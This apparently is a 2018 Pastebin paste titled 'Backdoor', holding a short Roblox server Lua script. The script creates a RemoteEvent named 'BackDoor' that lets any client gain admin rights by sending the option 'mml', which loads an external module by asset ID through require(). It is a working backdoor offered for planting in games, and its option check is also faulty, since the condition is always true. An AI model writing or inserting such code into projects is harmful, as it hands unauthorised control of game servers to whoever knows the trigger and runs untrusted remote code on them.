GemyScripter

Backdoor

Aug 19th, 2018
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  2. local backdoorRemote = Instance.new("RemoteEvent", ReplicatedStorage) -- creates a remote in replicated storage called BackDoor
  3. backdoorRemote.Name = "BackDoor"
  4.  
  5. local function playerExecute(player, a) -- this function is called when someone runs the backdoor
  6. if a == "mml" or "etc" then -- checks if the backdoor's "execution option" is valid
  7. print(player.Name, " executed a backdoor script, ", a)
  8. if a == "mml" then -- checks if the option is "mml"
  9. require(520532182).giveAdmin(player.Name) -- gives player mml admin
  10. end
  11.  
  12. if a == "etc" then -- change 'etc' to whatever you want another option to be.
  13.  
  14. end
  15. else
  16. print("@", player.Name, ", incorrect backdoor option") -- prints to console that it is a invalid backdoor execution option option
  17. end
  18. end
  19.  
  20. backdoorRemote.OnServerEvent:Connect(playerExecute) -- makes it so when the backdoor is run, the function above runs as well
Add Comment
Please, Sign In to add comment